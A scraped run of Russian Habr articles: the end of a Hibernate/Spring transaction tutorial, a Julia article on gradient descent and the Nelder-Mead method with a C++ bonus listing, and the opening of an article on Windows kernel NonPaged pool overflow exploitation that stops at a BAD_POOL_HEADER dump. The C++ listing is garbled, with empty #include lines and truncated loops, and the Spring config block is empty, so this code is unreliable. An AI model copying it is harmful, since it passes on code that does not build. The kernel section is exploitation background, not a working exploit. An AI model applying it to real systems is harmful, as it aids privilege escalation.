Помним, что если мы внутри транзакции что-то изменим в загруженном из БД объекте статуса *persistent* или *proxy-object*, то выполнится запрос *update*. Если *task* должен ссылаться на нового *user*, то делаем так:
```
User user = new User(); // Создаём *transient-object*
user.setLogin("user");
user.setPassword("user");
...
task.setUser(user);
session.saveOrUpdate(task); // Сохраняем
```
Внимание: в классе *Task* для поля *user* должен быть установлен *CascadeType.PERSIST*, *CascadeType.MERGE* или *CascadeType.ALL*.
Если мы имеем на руках *userId* существующего в БД юзера, то нам не обязательно загружать объект *User* из БД, делая лишний *select*. Так как мы не можем присвоить ID юзера непосредственно свойству класса *Task*, нам нужно создать объект класса *User* с единственно заполненными *userId*. Естественно, это не может быть *transient-object*, поэтому здесь следует воспользоваться известным нам *proxy-объектом*.
```
public void saveTask(Long userId, Task task)
...
task.setUser((User) session.load(User.class, userId)); // Никакого запроса к БД не происходит
session.saveOrUpdate(task);
...
```
б). Добавляем объект в коллекцию дочерних объектов:
```
public Long saveUser(String login) {
Session session = sessionFactory.openSession();
session.openTransaction();
user = (User) session.load(User.class, userId);
Task task = new Task();
task.setName("Имя");
task.setUser(user);
user.getTasks().add(task);
session.getTransaction().commit();
return user.getUserId();
}
```
В *User* для свойства *tasks* должен стоять *CascadeType.ALL*. Если стоит *CascadeType.MERGE*, то после *user.getTasks().add(task)* выполнить *session.merge(user)*. Данный код выполнит 3 запроса — *select \* from user*, *select nextval('task\_task\_id\_seq')* и *insert into task*…
##### 6). Удаление объектов
а). Можно удалить, создав *transient-object*:
```
public void deleteTask(Long taskId) {
Session session = sessionFactory.openSession();
session.openTransaction();
Tasks task = new Tasks();
task.setTaskId(taskId);
session.delete(task);
session.getTransaction().commit();
}
```
Данный код удалит только *task*. Однако, если *task* — объект типа *proxy*, *persistent* или *detached* и в классе *Task* для поля *user* действует *CascadeType.REMOVE*, то из базы удалится также ассоциированный *user*. Если удалять юзера не нужно, выполнить что? Правильно, *task.setUser(null)*
б). Можно удалить и таким способом:
```
public void deleteTask(Long userId, Long taskId) {
User user = (User) session.load(User.class, userId);
user.getTasks().removeIf((Task task) -> {
if (task.getTaskId() == taskId) {
task.setUser(null);
return true;
} else
return false;
});
}
```
Данный код просто удаляет связь между *task* и *user*. Здесь мы применили новомодное *лямбда-выражение*. Объект *task* удалится из БД при одном условии — если изменить кое-что в классе-сущности *User*:
```
@OneToMany(fetch = FetchType.LAZY, mappedBy = "user", cascade = CascadeType.ALL, orphanRemoval = true)
public List getTasks() {
return tasks;
}
public void setTasks(List tasks) {
this.tasks = tasks;
}
```
Параметр *orphanRemoval = true* указывает, что все объекты *Task*, которые не имеют ссылки на *User*, должны быть удалены из БД.
##### 7). Декларативное управление транзакциями
Для декларативного управления транзакциями мы будем использовать *Spring Framework*. Управление транзакциями осуществляется через менеджер транзакций. Вместо вызовов *session.openTransaction()* и *session.commit()* используется аннотация *@Transactional*. В конфигурации приложения должно присутствовать следующее:
```
```
Здесь мы определили бин *transactionManager*, к которому привязан бин *sessionFactory*. Класс *HibernateTransactionManager* является реализацией общего интерфейса *org.springframework.transaction.PlatformTransactionManager* для *SessionFactory* библиотеки Hibernate. *annotation-driven* указывает менеджеру транзакций обрабатывать аннотацию *@Transactional*.
— Болтовня ничего не стоит. Покажите мне код. *(Linus Torvalds)*
```
@Transactional(propagation = Propagation.REQUIRED, rollbackFor = {ObjectNotFoundException.class, ConstraintViolationException.class})
public Long saveTask(Long userId) {
Session session = sessionFactory.getCurrentSession();
Tasks task = new Tasks();
task.setName("Задача 1");
task.setDefinition("Задача 1");
task.setTaskDate(new Date());
task.setUser((User) session.load(User.class, userId));
session.saveOrUpdate(task);
return task.getTaskId();
}
```
Аннотация *@Transactional* указывает, что метод должен выполняться в транзакции. Менеджер транзакций открывает новую транзакцию и создаёт для неё экземпляр *Session*, который доступен через *sessionFactory.getCurrentSession()*. Все методы, которые вызываются в методе с данной аннотацией, также имеют доступ к этой транзакции, потому что экземпляр *Session* является переменной потока (ThreadLocal). Вызов *sessionFactory.openSession()* откроет совсем другую сессию, которая не связана с транзакцией.
Параметр *rollbackFor* указывает исключения, при выбросе которых должен быть произведён откат транзакции. Есть обратный параметр — *noRollbackFor*, указывающий, что все исключения, кроме перечисленных, приводят к откату транзакции.
Параметр *propagation* самый интересный. Он указывает принцип распространения транзакции. Может принимать любое значение из перечисления *org.springframework.transaction.annotation.Propagation*. Приведём пример:
```
@Autowired
private SessionFactory sessionFactory;
@Autowired
private UserDao userDao;
@Transactional(propagation = Propagation.REQUIRED, rollbackFor = {ConstraintViolationException.class})
public Long saveTask(Long userId) {
Session session = sessionFactory.getCurrentSession();
User user = userDao.getUserByLogin("user1");
Tasks task = new Tasks();
task.setName("Задача 1");
...
task.setUser(user);
session.saveOrUpdate(task);
return task.getTaskId();
}
```
Метод *UserDao.getUserByLogin()* также может быть помечен аннотацией *@Transactional*. И здесь параметр *propagation* определит поведение метода *UserDao.getUserByLogin()* относительно транзакции метода *saveTask()*:
* *Propagation.REQUIRED* — выполняться в существующей транзакции, если она есть, иначе создавать новую.
* *Propagation.MANDATORY* — выполняться в существующей транзакции, если она есть, иначе генерировать исключение.
* *Propagation.SUPPORTS* — выполняться в существующей транзакции, если она есть, иначе выполняться вне транзакции.
* *Propagation.NOT\_SUPPORTED* — всегда выполняться вне транзакции. Если есть существующая, то она будет остановлена.
* *Propagation.REQUIRES\_NEW* — всегда выполняться в новой независимой транзакции. Если есть существующая, то она будет остановлена до окончания выполнения новой транзакции.
* *Propagation.NESTED* — если есть текущая транзакция, выполняться в новой, так называемой, вложенной транзакции. Если вложенная транзакция будет отменена, то это не повлияет на внешнюю транзакцию; если будет отменена внешняя транзакция, то будет отменена и вложенная. Если текущей транзакции нет, то просто создаётся новая.
* *Propagation.NEVER* — всегда выполнять вне транзакции, при наличии существующей генерировать исключение.
Хороший [материал о транзакциях](http://www.ibm.com/developerworks/ru/library/j-ts1/). Следует помнить, что использование транзакций несёт дополнительные издержки в производительности.
##### Ну что ж, подведём итоги
В моей статье я осветил самые основные принципы работы с сессиями и транзакциями в Hibernate. Надеюсь, что начинающим Java-программистам статья будет полезна при преодолении первого порога в изучении суперклассной (не для всех, возможно) библиотеки Hibernate. Желаю всем успехов в нашей сложной и интересной программерской деятельности!
[Пример проекта](https://github.com/Niyazguest/testApp).
Спасибо за внимание! | https://habr.com/ru/post/271115/ | null | ru | null |
# Julia, Градиентный спуск и симплекс метод
[Продолжаем](https://habr.com/ru/post/439900/) знакомство с методами многомерной оптимизации.
Далее предложена реализация метода наискорейшего спуска с анализом скорости выполнения, а также имплементация метода Нелдера-Мида средствами языка Julia и C++.
Метод градиентного спуска
-------------------------
Поиск экстремума ведется шагами в направлении градиента (max) или антиградиента (min). На каждом шаге в направлении градиента (антиградиента) движение осуществляется до тех пор, пока функция возрастает (убывает).
За теорией пройдитесь по ссылкам:
* [Градиентный спуск](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82%D0%BD%D1%8B%D0%B9_%D1%81%D0%BF%D1%83%D1%81%D0%BA)
* [Метод сопряжённых градиентов](http://www.machinelearning.ru/wiki/index.php?title=%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D1%81%D0%BE%D0%BF%D1%80%D1%8F%D0%B6%D1%91%D0%BD%D0%BD%D1%8B%D1%85_%D0%B3%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82%D0%BE%D0%B2)
* [Метод Нелдера-Мида](http://www.machinelearning.ru/wiki/index.php?title=%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%9D%D0%B5%D0%BB%D0%B4%D0%B5%D1%80%D0%B0-%D0%9C%D0%B8%D0%B4%D0%B0)
* [Обзор градиентных методов](https://habr.com/ru/post/413853/)
* [SciPy, оптимизация](https://habr.com/ru/post/439288/)
* [Обзор основных методов математической оптимизации для задач с ограничениями](https://habr.com/ru/post/428794/)
* [Метод оптимизации Нелдера — Мида. Реализация на Python](https://habr.com/ru/post/332092/)
* [Зайцев В. В. Численные методы для физиков. Нелинейные уравнения и оптимизация](http://ppent.samsu.ru/docs/num_met_for_fiz_3.pdf)
В качестве основы были использованы примеры из последнего источника.
Модельной функцией выберем эллиптический параболоид и зададим функцию отрисовки рельефа:
```
using Plots
plotly() # интерактивные графики
function plotter(plot_fun; low, up)
Xs = range(low[1], stop = up[1], length = 80)
Ys = range(low[2], stop = up[2], length = 80)
Zs = [ fun([x y]) for x in Xs, y in Ys ];
plot_fun(Xs, Ys, Zs)
xaxis!( (low[1], up[1]), low[1]:(up[1]-low[1])/5:up[1] ) # линовка осей
yaxis!( (low[2], up[2]), low[2]:(up[2]-low[2])/5:up[2] )
end
parabol(x) = sum(u->u*u, x) # сумма квадратов
fun = parabol
plotter(surface, low = [-1 -1], up = [1 1])
```
Зададим функцию реализующую метод наискорейшего спуска, которая принимает размерность задачи, точность, длину шага, начальное приближение и размеры рамки ограничивающей график:
```
# точка-с-запятой значит, что все последующие параметры - ключевые слова
function ofGradient(; ndimes = 2, ε = 1e-4, st = 0.9, fit = [9.9, 9.9], low = [-1 -1], up = [10 10])
k = 0
while st > ε
g = grad(fit, 0.01)
fung = fun(fit)
fit -= st*g
if fun(fit) >= fung
st *= 0.5
fit += st*g
end
k += 1
#println(k, " ", fit)
end
#println(fun(fit))
end
```
На функции вычисляющей направление градиента можно заостриться в плане оптимизации.
Первое, что идет на ум — это действия с матрицами:
```
# \delta - приращение аргумента используемое для вычисления
# производных по формуле центральных разностей
function grad(fit, δ)
ndimes = length(fit)
Δ = zeros(ndimes, ndimes)
for i = 1:ndimes
Δ[i,i] = δ
end
fr = [ fun( fit + Δ[:,i] ) for i=1:ndimes]
fl = [ fun( fit - Δ[:,i] ) for i=1:ndimes]
g = 0.5(fr - fl)/δ
modg = sqrt( sum(x -> x*x, g) )
g /= modg
end
```
Чем действительна хороша Julia, так это тем, что проблемные места легко можно потестить:
```
#]add BenchmarkTools
using BenchmarkTools
@benchmark ofGradient()
BenchmarkTools.Trial:
memory estimate: 44.14 KiB
allocs estimate: 738
--------------
minimum time: 76.973 μs (0.00% GC)
median time: 81.315 μs (0.00% GC)
mean time: 92.828 μs (9.14% GC)
maximum time: 5.072 ms (94.37% GC)
--------------
samples: 10000
evals/sample: 1
```
Можно кинуться перепечатывать всё в Сишном стиле
```
function grad(fit::Array{Float64,1}, δ::Float64)
ndimes::Int8 = 2
g = zeros(ndimes)
modg::Float64 = 0.
Fr::Float64 = 0.
Fl::Float64 = 0.
for i = 1:ndimes
fit[i] += δ
Fr = fun(fit)
fit[i] -= 2δ
Fl = fun(fit)
fit[i] += δ
g[i] = 0.5(Fr - Fl)/δ
modg += g[i]*g[i]
end
modg = sqrt( modg )
g /= modg
end
@benchmark ofGradient()
BenchmarkTools.Trial:
memory estimate: 14.06 KiB
allocs estimate: 325
--------------
minimum time: 29.210 μs (0.00% GC)
median time: 30.395 μs (0.00% GC)
mean time: 33.603 μs (6.88% GC)
maximum time: 4.287 ms (98.88% GC)
--------------
samples: 10000
evals/sample: 1
```
Но как оказывается, оно само и без нас знает, какие типы надо ставить, так что приходим к компромиссу:
```
function grad(fit, δ) # вычисляет направление градиента
ndimes = length(fit)
g = zeros(ndimes)
for i = 1:ndimes
fit[i] += δ
Fr = fun(fit)
fit[i] -= δ
fit[i] -= δ
Fl = fun(fit)
fit[i] += δ
g[i] = 0.5(Fr - Fl)/δ
end
modg = sqrt( sum(x -> x*x, g) )
g /= modg
end
@benchmark ofGradient()
BenchmarkTools.Trial:
memory estimate: 15.38 KiB
allocs estimate: 409
--------------
minimum time: 28.026 μs (0.00% GC)
median time: 30.394 μs (0.00% GC)
mean time: 33.724 μs (6.29% GC)
maximum time: 3.736 ms (98.72% GC)
--------------
samples: 10000
evals/sample: 1
```
А теперь пусть рисует:
```
function ofGradient(; ndimes = 2, ε = 1e-4, st = 0.9, fit = [9.9, 9.9], low = [-1 -1], up = [10 10])
k = 0
x = []
y = []
push!(x, fit[1])
push!(y, fit[2])
plotter(contour, low = low, up = up)
while st > ε
g = grad(fit, 0.01)
fung = fun(fit)
fit -= st*g
if fun(fit) >= fung
st *= 0.5
fit += st*g
end
k += 1
#println(k, " ", fit)
push!(x, fit[1])
push!(y, fit[2])
end
plot!(x, y, w = 3, legend = false, marker = :rect )
title!("Age = $k f(x,y) = $(fun(fit))")
println(fun(fit))
end
ofGradient()
```
А теперь опробуем на функции Экли:
```
ekly(x) = -20exp(-0.2sqrt(0.5(x[1]*x[1]+x[2]*x[2]))) - exp(0.5(cospi(2x[1])+cospi(2x[2]))) + 20 + ℯ
# f(0,0) = 0, x_i ∈ [-5,5]
fun = ekly
ofGradient(fit = [4.3, 4.9], st = 0.1, low = [3 4.5], up = [4.5 5.4] )
```
Свалилось в локальный минимум. Сделаем-ка шаги побольше:
```
ofGradient(fit = [4.3, 4.9], st = 0.9, low = [3 4.5], up = [4.5 5.4] )
```
```
ofGradient(fit = [4.3, 4.9], st = 1.9, low = [-5.2 -2.2], up = [8.1 7.1] )
```
… и еще немного:
```
ofGradient(fit = [4.3, 4.9], st = 8.9, low = [-5.2 -2.2], up = [8.1 7.1] )
```
Отлично! А теперь что-нибудь с оврагом, например функцию Розенброка:
```
rosenbrok(x) = 100(x[2]-x[1]*x[1])^2 + (x[1]-1)^2
# f(0,0) = 0, x_i ∈ [-5,5]
fun = rosenbrok
plotter(surface, low = [-2 -1.5], up = [2 1.5])
```
```
ofGradient(fit = [2.3, 2.2], st = 9.9, low = [-5.2 -5.2], up = [8.1 7.1] )
```
```
ofGradient(fit = [2.3, 2.2], st = 0.9, low = [-5.2 -5.2], up = [8.1 7.1] )
```
Мораль: градиенты не любят пологостей.
Симплекс метод
--------------
Метод Нелдера — Мида, также известный как метод деформируемого многогранника и симплекс-метод, — метод безусловной оптимизации функции от нескольких переменных, не использующий производной(точнее — градиентов) функции, а поэтому легко применим к негладким и/или зашумлённым функциям.
Суть метода заключается в последовательном перемещении и деформировании симплекса вокруг точки экстремума.
Метод находит локальный экстремум и может «застрять» в одном из них. Если всё же требуется найти глобальный экстремум, можно пробовать выбирать другой начальный симплекс.
Вспомогательные функции:
```
#сортировка столбцов матрицы выстраиванием элементов последней строки в порядке возрастания
function sortcoord(Mx)
N = size(Mx,2)
f = [fun(Mx[:,i]) for i in 1:N] # значение функции в вершинах
Mx[:, sortperm(f)]
#Return a permutation vector I that puts v[I] in sorted order.
end
# Норма матрицы
function normx(Mx)
m = size(Mx,2)
D = zeros(m-1,m)
vecl(x) = sqrt( sum(u -> u*u, x) )# длина вектора
for i = 1:m, j = i+1:m
D[i,j] = vecl(Mx[:,i] - Mx[:,j]) # считает длину разности столбцов
end
D
sqrt(maximum(D))
end
function simplexplot(xy, low, up)
for i = 1:length(xy)
if i%11 == 0
low *= 0.05
up *= 0.05
end
Xs = range(low[1], stop = up[1], length = 80)
Ys = range(low[2], stop = up[2], length = 80)
Zs = [ fun([x y]) for y in Ys, x in Xs ]
contour(Xs, Ys, Zs)
xaxis!( low[1]:(up[1]-low[1])*0.2:up[1] )
yaxis!( low[2]:(up[2]-low[2])*0.2:up[2] )
plot!(xy[i][1,:], xy[i][2,:], w = 3, legend = false, marker = :circle )
title!("Age = $i f(x,y) = $(fun(xy[i][:,1]))")
savefig("$fun $i.png")
end
end
```
И сам симплекс метод:
```
function ofNelderMid(; ndimes = 2, ε = 1e-4, fit = [.1, .1], low = [-1 -1], up = [1 1])
vecl(v) = sqrt( sum(x -> x*x, v) )
k = 0
N = ndimes
Xx = zeros(N, N+1)
coords = []
for i = 1:N+1
Xx[:,i] = fit
end
for i = 1:N
Xx[i,i] += 0.5*vecl(fit) + ε
end
p = normx(Xx)
while p > ε
k += 1
Xx = sortcoord(Xx)
Xo = [ sum(Xx[i,1:N])/N for i = 1:N ] # среднее эл-тов i-й строки
Ro = 2Xo - Xx[:,N+1]
FR = fun(Ro)
if FR > fun(Xx[:,N+1])
for i = 2:N+1
Xx[:,i] = 0.5(Xx[:,1] + Xx[:,i])
end
else
if FR < fun(Xx[:,1])
Eo = Xo + 2(Xo - Xx[:,N+1])
if FR > fun(Eo)
Xx[:,N+1] = Eo
else
Xx[:,N+1] = Ro
end
else
if FR <= fun(Xx[:,N])
Xx[:,N+1] = Ro
else
Co = Xo + 0.5(Xo - Xx[:,N+1])
if FR > fun(Co)
Xx[:,N+1] = Co
else
Xx[:,N+1] = Ro
end
end
end
end
#println(k, " ", p, " ", Xx[:,1])
push!(coords, [Xx[:,1:3] Xx[:,1] ])
p = normx(Xx)
end #while
#simplexplot(coords, low, up)
fit = Xx[:,1]
end
ofNelderMid(fit = [-9, -2], low = [-2 2], up = [-8 8])
```
И на десерт какую-нибудь буку… например функцию Букина
```
bukin6(x) = 100sqrt(abs(x[2]-0.01x[1]*x[1])) + 0.01abs(x[1]+10)
# f(-10,1) = 0, x_i ∈ [-15,-5; -3,3]
fun = bukin6
ofNelderMid(fit = [-10, -2], low = [-3 -7], up = [-8 -4.5])
```
Локальный минимум — ну ничего, главное правильно подобрать стартовый симплекс, так что для себя я нашел фаворита.
Бонус. Методы Нелдера-Мида, наискорейшего спуска и покоординатного спуска на С++
**Аларма! 550 строк кода!**
```
/*
* File: main.cpp
* Author: User
*
* Created on 3 сентября 2017 г., 21:22
*/
#include
#include
using namespace std;
typedef double D;
class Model
{
public:
D \*fit;
D ps;
Model();
D I();
};
Model :: Model()
{
ps = 1;
fit = new D[3];
fit[0]=1.3;
fit[1]=1.;
fit[2]=2.;
}
D Model :: I() // rosenbrock
{
return 100\*(fit[1]-fit[0]\*fit[0]) \* (fit[1]-fit[0]\*fit[0]) + (1-fit[0])\*(1-fit[0]);
}
class Methods : public Model
{
public:
void ofDescent();
void Newton(int i);
void SPI(int i); //sequential parabolic interpolation
void Cutters(int i);
void Interval(D \*ab, D st, int i);
void Gold\_section(int i);
void ofGradient();
void Grad(int N, D \*g, D delta);
void Srt(D \*\*X, int N);
void ofNelder\_Mid();
D Nor(D \*\*X, int N);
};
void Methods :: ofDescent()//метод покоординатного спуска
{
int i, j=0;
D \*z = new D[3];
D sumx, sumz;
sumx = sumz = 0;
do
{
sumx = sumz = 0;
for(i=0; i<3; i++)
z[i] = fit[i];
for(i=0; i<2; i++)
{
//Cutters(i);
//SPI(i);
Newton(i);
//Gold\_section(i);
sumx += fit[i];
sumz += z[i];
}
j++;
//if(j%1000==0)
cout << j << " " << fit[0] << " " << fit[1] << " " << fit[2] << " " << fit[3] << endl;
//cout << sumz << " " << sumx << endl;
}
while(fabs(sumz - sumx) > 1e-6);
delete[]z;
}
void Methods :: SPI(int i)
{
int k = 2;
D f0, f1, f2;
D v0, v1, v2;
D s0, s1, s2;
D \*X = new D[300];
X[0] = fit[i] + 0.01;
X[1] = fit[i];
X[2] = fit[i] - 0.01;
while(fabs(X[k] - X[k-1]) > 1e-3)
{
fit[i] = X[k];
f0 = I();
fit[i] = X[k-1];
f1 = I();
fit[i] = X[k-2];
f2 = I();
v0 = X[k-1] - X[k-2];
v1 = X[k ] - X[k-2];
v2 = X[k ] - X[k-1];
s0 = X[k-1]\*X[k-1] - X[k-2]\*X[k-2];
s1 = X[k ]\*X[k ] - X[k-2]\*X[k-2];
s2 = X[k ]\*X[k ] - X[k-1]\*X[k-1];
X[k+1] = 0.5\*(f2\*s2 - f1\*s1 + f0\*s0) / (f2\*v2 - f1\*v1 + f0\*v0);
k++;
cout << k << " " << X[k] << endl;
}
fit[i] = X[k];
delete[]X;
}
void Methods :: Newton(int i)
{
D dt, T, It;
int k=0;
while(fabs(T-fit[i]) > 1e-3)
{
It = I();
T = fit[i];
fit[i] += 0.01;
dt = I();
fit[i] -= 0.01;
fit[i] -= It\*0.001 / (dt - It);
cout << k << " " << fit[i] << endl;
k++;
}
}
void Methods :: Cutters(int i)
{
D Tn, Tnm, Tnp, It, Itm;
int j=0;
Tn = 0.15;
Tnm = 2.65;//otrezok
Itm = I();
//cout << Tnm << " " << Tn << endl;
while(fabs(Tn-Tnm) > 1e-6)
{
fit[i] = Tn;
It = I();
Tnp = Tn - It \* (Tn-Tnm) / (It-Itm);
cout << j+1 << " " << Tnp << endl;
Itm = It;
Tnm = Tn;
Tn = Tnp;
j++;
}
fit[i] = Tnp;
}
void Methods :: Interval(D \*ab, D st, int i)
{
D Fa, Fdx, d, c, Fb, fitbox = fit[i];
ab[0] = fit[i];
Fa = I();
fit[i] -= st;
Fdx = I();
fit[i] += st;
if(Fdx < Fa)
st = -st;
fit[i] += st;
ab[1] = fit[i];
Fb = I();
while(Fb < Fa)
{
d = ab[0];
ab[0] = ab[1];
Fa = Fb;
fit[i] += st;
ab[1] = fit[i];
Fb = I();
cout << Fb << " " << Fa << endl;
}
if(st<0)
{
c = ab[1];
ab[1] = d;
d = c;
}
ab[0] = d;
fit[i] = fitbox;
}
void Methods :: Gold\_section(int i)
{
D Fa, Fb, al, be;
D \*ab = new D[2];
D st = 0.5;
D e = 0.5\*(sqrt(5) - 1);
Interval(ab, st, i);
al = e\*ab[0] + (1-e)\*ab[1];
be = e\*ab[1] + (1-e)\*ab[0];
fit[i] = al;
Fa = I();
fit[i] = be;
Fb = I();
while(fabs(ab[1]-ab[0]) > e)
{
if(Fa < Fb)
{
ab[1] = be;
be = al;
Fb = Fa;
al = e\*ab[0] + (1-e)\*ab[1];
fit[i] = al;
Fa = I();
}
if(Fa > Fb)
{
ab[0] = al;
al = be;
Fa = Fb;
be = e\*ab[1] + (1-e)\*ab[0];
fit[i] = be;
Fb = I();
}
cout << ab[0] << " " << ab[1] << endl;
}
fit[i] = 0.5\*(ab[0] + ab[1]);
cout << ab[0] << " " << ab[1] << endl;
}
void Methods :: Grad(int N, D \*g, D delta)//вектор направления градиента
{
int n;
D Fr, Fl, modG=0;
for(n=0; n eps)
{
Grad(N,g,0.0001);
for(n=0; n= g[N])
{
st /= 2.;
for(n=0; n eps)
{
k++;
Srt(Xx, N);
for(i=0;i FN)
{
for(i=0;i pn)
norm = pn;//ищет максимальную длину
}
return sqrt(norm);
}
//сортировка координат вершин симплекса
void Methods :: Srt(D \*\*X, int N)
{
int i, j, k;
D temp;
D \*f = new D[N+1];
D \*box = new D[N];
D \*\*y = new D\*[N+1];
for(i=0;i= y[N][j+1])
for(k=0;k<=N;k++)
{
temp = y[k][j];
y[k][j] = y[k][j+1];
y[k][j+1] = temp;
}
//submatrix вырезает отсортированное
for(i=0;i
```
На сегодня достаточно. Следующим этапом будет логично попробовать что-нибудь из глобальной оптимизации, набрать побольше тестовых функций, а затем изучить пакеты со встроенными методами. | https://habr.com/ru/post/440070/ | null | ru | null |
# Kernel Pool Overflow: от теории к практике
Ядро Windows всегда было лакомым кусочком для хакера, особенно при наличии законченных методик его эксплуатирования, приводящих к повышению прав. Учитывая тот факт, что за последние несколько лет количество уязвимостей, связанных с переполнением динамической памяти ядра, резко возросло, я активно заинтересовался данным направлением и, к собственному удивлению, в конечном итоге накопал столько материала, что его хватит не на один 0day-баг.
### Актуальность проблемы
Технология Memory Management является одной из самых важных в работе ядра. Уязвимости этого механизма, пожалуй, также самые страшные и, в то же время, актуальные. Они и являются основным стимулом для создания всяких разных видов защиты, таких как safe unlinking. В данной статье будут детально рассмотрены некоторые аспекты, как теоретические, так и практические, по эксплуатации динамического переполнения памяти ядра.
Для начала я покажу пальцем на самых ярких представителей уязвимостей этой касты:
* **ms08-001** — IGMPv3 Kernel Pool Overflow – удаленное переполнение в tcpip.sys;
* **ms09-006** – уязвимость в обработке определенных записей wmf/emf, связанная с брешью в win32k.sys;
* **ms10-058** – integer overflow уязвимость, ведущая к переполнению пула в tcpip.sys.
### Обзор распределения памяти ядром
Как в любой уважающей себя операционной системе, Windows (а точнее говоря, ее ядро) предоставляет некоторые функции для выделения/освобождения памяти. Виртуальная память состоит из блоков, называемых страницами. В архитектуре Intel x86 размер страницы составляет 4096 байт. Однако большинство запросов на выделение памяти меньше объема страницы. Поэтому функции ядра, такие как ExAllocatePoolWithTag и ExFreePoolWithTag, резервируют неиспользуемую память для последующего ее выделения. Внутренние функции напрямую взаимодействуют с железом каждый раз, когда страница задействована. Все эти процедуры достаточно сложны и деликатны, вот почему они реализованы именно в ядре.
### Различия между Paged и NonPaged pool
Память ядра системы делится на два различных пула. Этот финт был придуман для выделения наиболее часто используемых блоков памяти. Система должна знать, какие страницы наиболее востребованы, а от каких можно временно отказаться (логично, правда?). Paged pool может быть сохранен в оперативной памяти или вытеснен в файловую систему (swap). NonPaged pool используется для важных задач, существует только в оперативной памяти и для каждого уровня IRQL.
Файл pagefile.sys содержит paged-память. В недалеком прошлом он уже становился жертвой атаки, в ходе которой неподписанный код внедрялся в ядро Vista. Среди обсуждаемых решений было предложено отключить paged-память. Джоанна Рутковска рекламировала такое решение как более безопасное по сравнению с другими, хотя следствием этого стала небольшая потеря физической памяти. Microsoft отказывается от прямого доступа к диску, что подтверждает важность таких возможностей ядра Windows, как Paged- и NonPaged-пулы. Эта статья написана с упором на NonPaged pool, так как обработка Paged-Pool происходит совершенно иначе. NonPaged pool можно рассматривать как более ли менее типичную реализацию heap. Подробная информация о системных пулах доступна в Microsoft Windows Internals.
### Таблица NonPaged pool
Алгоритм выделения должен быстро распределять наиболее часто используемые объемы. Поэтому существуют три разные таблицы, каждая из которых выделяет память определенного диапазона. Такую структуру я обнаружил в большинстве алгоритмов управления памятью. Считывание блоков памяти с устройств занимает некоторое время, поэтому в алгоритмах Windows происходит балансировка между скоростью ответа и оптимальным выделением памяти. Время ответа сокращается, если блоки памяти сохраняются для последующего выделения. С другой стороны, избыточное резервирование памяти может сказаться на производительности.
Таблица представляет собой отдельный способ хранения блоков памяти. Мы рассмотрим каждую таблицу и ее местоположение.
**NonPaged lookaside** – таблица, назначаемая каждому процессору и работающая с объемами памяти, менее или равными 256 байт. У каждого процессора есть контрольный реестр (PCR), хранящий служебные данные процессора – уровень IRQL, GDT, IDT. Расширение реестра называется контрольным регионом (PCRB) и содержит lookaside-таблицы. Следующий дамп windbg представляет структуру такой таблицы:
###### Дампы структур в windbg
Lookaside-таблицы предоставляют наиболее быстрое считывание блоков памяти по сравнению с другими типами. Для такой оптимизации очень важно время задержки, а односвязный список (который реализован в Lookaside) тут намного эффективнее, чем двухсвязный. Функция ExInterlockedPopEntrySList используется для выбора записи из списка с использованием аппаратной инструкции «lock». PPNPagedLookasideList и есть вышеупомянутая Lookaside-таблица. Она содержит два Lookaside-списка: P и L. Поле «depth» структуры GENERAL\_LOOKASIDE определяет, как много записей может находиться в списке ListHead. Система регулярно обновляет этот параметр, используя различные счетчики. Алгоритм обновления основан на номере процессора и не одинаков для P и L. В списке P поле «depth» обновляется чаще, чем в списке L, потому что P оптимизирован под очень маленькие блоки.
Вторая таблица зависит от числа процессоров и того, как ими управляет система. Данный способ выделения памяти будет использоваться, если объем менее или равен 4080 байт, или если lookaside-поиск не дал результатов. Даже если целевая таблица меняется, у нее будет та же структура POOL\_DESCRIPTOR. В случае единственного процессора используется переменная PoolVector для считывания указателя NonPagedPoolDescriptor. В случае многих процессоров, таблица ExpNonPagedPoolDescriptor содержит 16 слотов с описаниями пулов. PCRB каждого процессора указывает на структуру KNODE. Узел может быть связан с более чем одним процессором и содержит поле «color», используемое как список для ExpNonPagedPoolDescriptor. Следующие схемы иллюстрируют этот алгоритм:
###### Описание пула при одном процессоре
###### Описание пула при нескольких процессорах
Ядро определяет глобальную переменную ExpNumberOfNonPagedPools, если данная таблица используется несколькими процессорами. Она должна содержать количество процессоров.
Следующий дамп windbg отображает структуру POOL\_DESCRIPTOR:
###### Структура POOL\_DESCRIPTOR
В очереди spinlock'ов реализована синхронизация; часть библиотеки HAL используется для предотвращения конфликтов в дескрипторе пула (pool descriptor). Эта процедура позволяет только одному процессору и одной нити получать одновременный доступ к записи из дескриптора пула. Библиотека HAL различается на разных архитектурах. Для дескриптора пула по умолчанию главный NonPaged spinlock заблокирован (LockQueueNonPagedPoolLock). А если он не заблокирован, то для него создается отдельная очередь spinlock.
Третья, и последняя таблица используется процессорами для обработки памяти объемов свыше 4080 байт. MmNonPagedPoolFreeListHead также используется, если закончилась память в остальных таблицах. Доступ к этой таблице происходит при обращении к главной очереди NonPaged spinlock'ом, также называемой LockQueueNonPagedPoolLock.
В ходе освобождения меньшего по объему блока памяти ExFreePoolWithTag объединяет его с предыдущим и следующим свободными блоками. Так может быть создан блок размером в страницу и более. В этом случае блок добавляется в таблицу MmNonPagedPoolFreeListHead.
### Алгоритмы выделения и освобождения памяти
Распределение памяти ядром в разных версиях ОС почти не меняется, но этот алгоритм не менее сложен, чем heap пользовательских процессов. В этой части статьи я хочу проиллюстрировать основы поведения таблиц в ходе процедур выделения и освобождения памяти. Многие детали, такие как механизмы синхронизации, будут намеренно опущены. Эти алгоритмы помогут в объяснении метода и понимании основ распределения памяти в ядре.
Алгоритм распределения в NonPaged pool (ExAllocatePoolWithTag):
###### Наглядный алгоритм выделения памяти
Алгоритм высвобождения NonPaged pool (ExFreePoolWithTag):
###### Соответственно, алгоритм выделения памяти
### От синего экрана смерти до исполнения желаний
При переполнении динамической памяти обычно затираются метаданные других выделенных блоков, что в основном ведет к нескольким BugCheck'ам (или попросту BSOD'ам):
**BAD\_POOL\_HEADER**: Вызывается в коде ExFreePoolWithTag, если PreviousSize следующего чанка не равен BlockSize текущего чанка.
`BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request. This may or may not be due to the caller. The internal pool links must be walked to figure out a possible cause of the problem, and then special pool applied to the suspect tags or the driver verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 812c1000, The pool entry we were looking for within the page. **<---- освобождаемый чанк**
